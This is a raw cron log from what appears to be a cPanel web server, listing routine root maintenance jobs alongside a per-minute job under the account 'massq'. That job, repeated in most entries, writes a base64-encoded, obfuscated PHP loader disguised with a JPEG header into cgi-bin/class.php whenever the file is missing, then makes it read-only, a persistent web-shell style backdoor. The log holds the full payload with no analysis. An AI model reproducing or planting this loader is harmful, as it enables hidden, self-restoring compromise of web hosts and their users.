Nov 10 03:58:01 server CROND[18030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:59:01 server CROND[18841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:00:01 server CROND[19756]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 10 04:00:01 server CROND[19758]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 04:00:01 server CROND[19760]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:00:01 server CROND[19761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 04:00:01 server CROND[19759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:01:01 server CROND[20555]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:01:01 server CROND[20556]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 04:01:01 server run-parts(/etc/cron.hourly)[20556]: starting 0anacron
Nov 10 04:01:01 server run-parts(/etc/cron.hourly)[20569]: finished 0anacron
Nov 10 04:02:01 server CROND[21377]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:03:01 server CROND[22186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:04:01 server CROND[22995]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:05:01 server CROND[23864]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 04:05:01 server CROND[23866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:05:01 server CROND[23867]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 04:05:01 server CROND[23868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:06:01 server CROND[24836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:07:01 server CROND[25716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:08:01 server CROND[26536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:09:01 server CROND[27172]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 04:09:01 server CROND[27173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:10:01 server CROND[27624]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 04:10:01 server CROND[27623]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:10:01 server CROND[27625]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 04:10:01 server CROND[27626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
